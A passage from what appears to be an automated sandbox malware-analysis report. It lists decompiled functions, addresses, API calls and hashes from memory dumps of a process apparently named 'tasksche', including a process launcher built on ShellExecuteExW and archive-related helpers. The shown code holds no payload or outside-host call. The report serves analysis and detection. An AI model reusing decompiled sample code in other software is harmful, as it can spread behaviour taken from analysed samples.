					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

UNC, xrefs: 0040A487
\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

</html>, xrefs: 00419821
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA
<html>, xrefs: 004197BE, 004197C3, 004197FB
utf-8"></head>, xrefs: 004197D5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32(?), ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.inf, xrefs: 0040E557
.exe, xrefs: 0040E636
z(D, xrefs: 0040E53A

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
